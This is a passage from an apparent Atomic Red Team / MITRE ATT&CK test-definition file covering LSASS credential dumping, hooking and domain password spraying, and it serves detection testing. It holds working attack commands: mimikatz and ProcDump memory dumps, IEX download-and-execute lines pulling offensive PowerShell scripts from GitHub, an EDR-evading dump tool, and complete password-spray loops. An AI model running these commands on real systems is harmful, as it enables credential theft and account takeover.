- "prereq_command": "if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path #{mimikatz_exe} | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- },
- {
- "description": "Lsass dump must exist at specified location (#{input_file})\n",
- "prereq_command": "cmd /c \"if not exist #{input_file} (exit /b 1)\"\n",
- "get_prereq_command": "Write-Host \"Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)\"\n"
- }
- ],
- "executor": {
- "command": "#{mimikatz_exe} \"sekurlsa::minidump #{input_file}\" \"sekurlsa::logonpasswords full\" exit\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "LSASS read with pypykatz",
- "auto_generated_guid": "c37bc535-5c62-4195-9cc3-0517673171d8",
- "description": "Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::\n\nPython 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.\n\nSuccessful execution of this test will display multiple useranames and passwords/hashes to the screen.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "Computer must have python 3 installed\n",
- "prereq_command": "py -3 --version >nul 2>&1\nexit /b %errorlevel%\n",
- "get_prereq_command": "echo \"Python 3 must be installed manually\"\n"
- },
- {
- "description": "Computer must have pip installed\n",
- "prereq_command": "py -3 -m pip --version >nul 2>&1\nexit /b %errorlevel%\n",
- "get_prereq_command": "echo \"PIP must be installed manually\"\n"
- },
- {
- "description": "pypykatz must be installed and part of PATH\n",
- "prereq_command": "pypykatz -h >nul 2>&1\nexit /b %errorlevel%\n",
- "get_prereq_command": "pip install pypykatz\n"
- }
- ],
- "executor": {
- "command": "pypykatz live lsa\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Dump LSASS.exe Memory using Out-Minidump.ps1",
- "auto_generated_guid": "6502c8f0-b775-4dbd-9193-1298f56b6781",
- "description": "The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure\npowershell implementation that leverages the MiniDumpWriteDump Win32 API call.\nUpon successful execution, you should see the following file created $env:SYSTEMROOT\\System32\\lsass_*.dmp.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); get-process lsass | Out-Minidump\n",
- "cleanup_command": "Remove-Item $env:TEMP\\lsass_*.dmp -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Create Mini Dump of LSASS.exe using ProcDump",
- "auto_generated_guid": "7cede33f-0acd-44ef-9774-15511300b24b",
- "description": "The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals\nProcDump. This particular method uses -mm to produce a mini dump of lsass.exe\n\nUpon successful execution, you should see the following file created c:\\windows\\temp\\lsass_dump.dmp.\n\nIf you see a message saying \"procdump.exe is not recognized as an internal or external command\", try using the get-prereq_commands to download and install the ProcDump tool first.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Path where resulting dump should be placed",
- "type": "path",
- "default": "C:\\Windows\\Temp\\lsass_dump.dmp"
- },
- "procdump_exe": {
- "description": "Path of Procdump executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1003.001\\bin\\procdump.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})\n",
- "prereq_command": "if (Test-Path #{procdump_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/Procdump.zip\" -OutFile \"$env:TEMP\\Procdump.zip\"\nExpand-Archive $env:TEMP\\Procdump.zip $env:TEMP\\Procdump -Force\nNew-Item -ItemType Directory (Split-Path #{procdump_exe}) -Force | Out-Null\nCopy-Item $env:TEMP\\Procdump\\Procdump.exe #{procdump_exe} -Force\n"
- }
- ],
- "executor": {
- "command": "#{procdump_exe} -accepteula -mm lsass.exe #{output_file}\n",
- "cleanup_command": "del \"#{output_file}\" >nul 2> nul\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Powershell Mimikatz",
- "auto_generated_guid": "66fb0bc1-3c3f-47e9-a298-550ecfefacbc",
- "description": "Dumps credentials from memory via Powershell by invoking a remote mimikatz script.\nIf Mimikatz runs successfully you will see several usernames and hashes output to the screen.\nCommon failures include seeing an \\\"access denied\\\" error which results when Anti-Virus blocks execution. \nOr, if you try to run the test without the required administrative privleges you will see this error near the bottom of the output to the screen \"ERROR kuhl_m_sekurlsa_acquireLSA\"\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_script": {
- "description": "URL to a remote Mimikatz script that dumps credentials",
- "type": "url",
- "default": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1"
- }
- },
- "executor": {
- "command": "IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Dump LSASS with createdump.exe from .Net v5",
- "auto_generated_guid": "9d0072c8-7cca-45c4-bd14-f852cfa35cf0",
- "description": "Use createdump executable from .NET to create an LSASS dump.\n\n[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": ".Net v5 must be installed\n",
- "prereq_command": "$exePath = resolve-path \"$env:ProgramFiles\\dotnet\\shared\\Microsoft.NETCore.App\\5*\\createdump.exe\"\nif (Test-Path $exePath) {exit 0} else {exit 1}\n",
- "get_prereq_command": "winget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreements --accept-package-agreements --silent\n"
- }
- ],
- "executor": {
- "command": "$exePath = resolve-path \"$env:ProgramFiles\\dotnet\\shared\\Microsoft.NETCore.App\\5*\\createdump.exe\"\n& \"$exePath\" -u -f $env:Temp\\dotnet-lsass.dmp (Get-Process lsass).id\n",
- "cleanup_command": "Remove-Item $env:Temp\\dotnet-lsass.dmp -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Dump LSASS.exe using imported Microsoft DLLs",
- "auto_generated_guid": "86fc3f40-237f-4701-b155-81c01c48d697",
- "description": "The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by\nimporting built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump \nfile and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.\n\nUpon successful execution, you should see the following file created $env:TEMP\\lsass-xordump.t1003.001.dmp.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xordump_exe": {
- "description": "Path to xordump",
- "type": "path",
- "default": "C:\\Windows\\Temp\\xordump.exe"
- },
- "output_file": {
- "description": "Path where resulting dump should be placed",
- "type": "path",
- "default": "C:\\Windows\\Temp\\lsass-xordump.t1003.001.dmp"
- }
- },
- "dependencies": [
- {
- "description": "Computer must have xordump.exe\n",
- "prereq_command": "if (Test-Path '#{xordump_exe}') {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe\" -OutFile #{xordump_exe}\n"
- }
- ],
- "executor": {
- "command": "#{xordump_exe} -out #{output_file} -x 0x41\n",
- "cleanup_command": "Remove-Item #{output_file} -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1179": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "url": "https://attack.mitre.org/techniques/T1179",
- "external_id": "T1179",
- "source_name": "mitre-attack"
- },
- {
- "source_name": "Microsoft Hook Overview",
- "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "source_name": "Adlice Software IAT Hooks Oct 2014",
- "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
- "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
- },
- {
- "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
- "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
- "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
- },
- {
- "source_name": "HighTech Bridge Inline Hooking Sept 2011",
- "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
- "url": "https://www.exploit-db.com/docs/17802.pdf"
- },
- {
- "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
- "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
- "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
- },
- {
- "source_name": "Symantec Windows Rootkits",
- "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
- "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
- },
- {
- "source_name": "Volatility Detecting Hooks Sept 2012",
- "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
- "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
- },
- {
- "source_name": "PreKageo Winhook Jul 2011",
- "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
- "url": "https://github.com/prekageo/winhook"
- },
- {
- "source_name": "Jay GetHooks Sept 2011",
- "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
- "url": "https://github.com/jay/gethooks"
- },
- {
- "source_name": "Zairon Hooking Dec 2006",
- "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
- "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
- },
- {
- "source_name": "EyeofRa Detecting Hooking June 2017",
- "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
- "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
- },
- {
- "source_name": "GMER Rootkits",
- "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
- "url": "http://www.gmer.net/"
- },
- {
- "source_name": "Microsoft Process Snapshot",
- "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
- },
- {
- "source_name": "StackExchange Hooks Jul 2012",
- "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
- "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
- }
- ],
- "modified": "2020-11-10T18:29:30.516Z",
- "name": "Hooking",
- "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1110.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Microsoft Threat Intelligence Center (MSTIC)",
- "John Strand"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c",
- "type": "attack-pattern",
- "created": "2020-02-11T18:39:25.122Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1110.003",
- "url": "https://attack.mitre.org/techniques/T1110/003"
- },
- {
- "external_id": "CAPEC-565",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/565.html"
- },
- {
- "url": "http://www.blackhillsinfosec.com/?p=4645",
- "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.",
- "source_name": "BlackHillsInfosec Password Spraying"
- },
- {
- "source_name": "US-CERT TA18-068A 2018",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A",
- "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."
- },
- {
- "source_name": "Trimarc Detecting Password Spraying",
- "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing",
- "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019."
- }
- ],
- "modified": "2021-04-06T12:32:47.678Z",
- "name": "Brute Force: Password Spraying",
- "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "User Account: User Account Authentication"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1110.003"
- },
- "atomic_tests": [
- {
- "name": "Password Spray all Domain Users",
- "auto_generated_guid": "90bc2e54-6c84-47a5-9439-0a2a92b4b175",
- "description": "CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.\nThis atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\\users.txt list. Any successful authentications will be printed to the screen with a message like \"[*] username:password\", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.\nUse the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.\nSee the \"Windows FOR Loop Password Spraying Made Easy\" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "password": {
- "description": "The password to try for each user in users.txt",
- "type": "string",
- "default": "Spring2020"
- }
- },
- "dependencies": [
- {
- "description": "List of domain users to password spray must exits at %temp%\\users.txt\n",
- "prereq_command": "if not exist %temp%\\users.txt (exit /b 1)\n",
- "get_prereq_command": "PathToAtomicsFolder\\T1110.003\\src\\parse_net_users.bat\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "@FOR /F %n in (%temp%\\users.txt) do @echo | set/p=. & @net use %logonserver%\\IPC$ /user:\"%userdomain%\\%n\" \"#{password}\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\IPC$ > NUL\n"
- }
- },
- {
- "name": "Password Spray (DomainPasswordSpray)",
- "auto_generated_guid": "263ae743-515f-4786-ac7d-41ef3a0d4b2b",
- "description": "Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain\n\nhttps://github.com/dafthack/DomainPasswordSpray\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain": {
- "description": "Domain to brute force against",
- "type": "string",
- "default": "$Env:USERDOMAIN"
- }
- },
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force\n"
- }
- },
- {
- "name": "Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)",
- "auto_generated_guid": "f14d956a-5b6e-4a93-847f-0c415142f07d",
- "description": "Attempt to brute force all Active Directory domain users with a single password (called \"password spraying\") on a domain controller, via LDAP, with NTLM or Kerberos\n\nPrerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "password": {
- "description": "single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001)",
- "type": "string",
- "default": "P@ssw0rd!"
- },
- "domain": {
- "description": "Domain FQDN",
- "type": "string",
- "default": "$env:UserDnsDomain"
- },
- "auth": {
- "description": "authentication method to choose between \"NTLM\" and \"Kerberos\"",
- "type": "string",
- "default": "NTLM"
- }
- },
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "if (\"#{auth}\".ToLower() -NotIn @(\"ntlm\",\"kerberos\")) {\n Write-Host \"Only 'NTLM' and 'Kerberos' auth methods are supported\"\n exit 1\n}\n\n$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName\n\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.DirectoryServices.Protocols\") | Out-Null\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\"#{domain}\",389)\n\n$DomainUsers | Foreach-Object {\n $user = $_\n $password = '#{password}'\n\n $credz = new-object System.Net.NetworkCredential($user, $password, \"#{domain}\")\n $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\n try {\n Write-Host \" [-] Attempting ${password} on account ${user}.\"\n $conn.bind()\n # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\n Write-Host \" [!] ${user}:${password} are valid credentials!\"\n } catch {\n Write-Host $_.Exception.Message\n }\n}\nWrite-Host \"End of password spraying\"\n"
- }
- },
- {
- "name": "WinPwn - DomainPasswordSpray Attacks",
- "auto_generated_guid": "5ccf4bbd-7bf6-43fc-83ac-d9e38aff1d82",
- "description": "DomainPasswordSpray Attacks technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndomainpassspray -consoleoutput -noninteractive -emptypasswords",
- "name": "powershell"
- }
- },
- {
- "name": "Password Spray Invoke-DomainPasswordSpray Light",
- "auto_generated_guid": "b15bc9a5-a4f3-4879-9304-ea0011ace63a",
- "description": "Perform a domain password spray using the same core method of the [DomainPasswordSpray tool](https://github.com/dafthack/DomainPasswordSpray) \nbut without all the extra code that makes the script get blocked by many AVs. \nThis atomic test will attempt a single password against all users in a password list at $env:Temp\\usersdpsLight.txt. You can create this file manually\nor with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid massive account lockout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user_limit": {
- "description": "The max number of users to put in the list when running the prereq_command",
- "type": "integer",
- "default": 200
- },
- "password": {
- "description": "The password to try for each user in users.txt",
- "type": "string",
- "default": "Spring2020"
- }
- },
- "dependencies": [
- {
- "description": "Username file must exist at $env:Temp\\usersdpsLight.txt\n",
- "prereq_command": "if (Test-Path $env:Temp\\usersdpsLight.txt) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host -NoNewLine \"Reading Users.\" # this code modifed from https://github.com/ZoomerHulkHogan/Powershell-Domain-User-Enumeration\n$netOutput = net users /domain\n$netOutput = [System.Collections.ArrayList]($netOutput[6..($netOutput.length-3)])\n$userLimit = #{user_limit}; $usercount = 0\nforeach ($line in $netOutput) {\n if($usercount -ge $userLimit){break}\n $line = $line.trim()\n $line = $line -split '\\s\\s+'\n foreach ($user in $line){\n if($usercount -ge $userLimit){break}\n Add-Content $env:Temp\\usersdpsLight.txt $user\n $usercount = $usercount + 1\n } \n}\nWrite-Host \"Usernames saved to $env:Temp\\usersdpsLight.txt\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "function Invoke-dpsLight ($Password, $userlist) {\n$users = Get-Content $userlist\n$Domain = \"LDAP://\" + ([ADSI]\"\").distinguishedName\nforeach ($User in $users) {\n $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)\n if ($Domain_check.name -ne $null) {\n Write-Host -ForegroundColor Green \"Password found for User:$User Password:$Password\"\n }\n else { Write-Host \". \" -NoNewline}\n}\nWrite-Host -ForegroundColor green \"Finished\"\n}\nInvoke-dpsLight \"#{password}\" $env:Temp\\usersdpsLight.txt\n"
- }
- },
- {
- "name": "Password Spray using Kerbrute Tool",
- "auto_generated_guid": "c6f25ec3-6475-47a9-b75d-09ac593c5ecb",
- "description": "Test a single password against a list of users\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domaincontroller": {
- "description": "Domain controller where test will be run",
- "type": "string",
- "default": "$ENV:userdnsdomain"
- },
- "domain": {
- "description": "Domain where you will be testing",
- "type": "string",
- "default": "$ENV:userdomain"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "kerbrute.exe must exist in $env:temp\n",
- "prereq_command": "if (test-path $env:temp\\kerbrute.exe){exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"$env:temp\\kerbrute.exe\"\n"
- },
- {
- "description": "passwordspray.txt must exist in $env:temp\n",
- "prereq_command": "if (test-path $env:temp\\passwordspray.txt){exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/src/passwordspray.txt?raw=true\" -outfile \"$env:temp\\passwordspray.txt\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "cd $env:temp\n.\\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} $env:temp\\passwordspray.txt password132 \n"
- }
- }
- ]
- },
- "T1056.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e",
- "type": "attack-pattern",
- "created": "2020-02-11T18:59:50.058Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1056.003",
- "url": "https://attack.mitre.org/techniques/T1056/003"
- },
- {
- "external_id": "CAPEC-569",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/569.html"
- },
- {
- "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/",
- "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
- "source_name": "Volexity Virtual Private Keylogging"
- }
- ],
- "modified": "2020-03-24T21:16:16.580Z",
- "name": "Web Portal Capture",
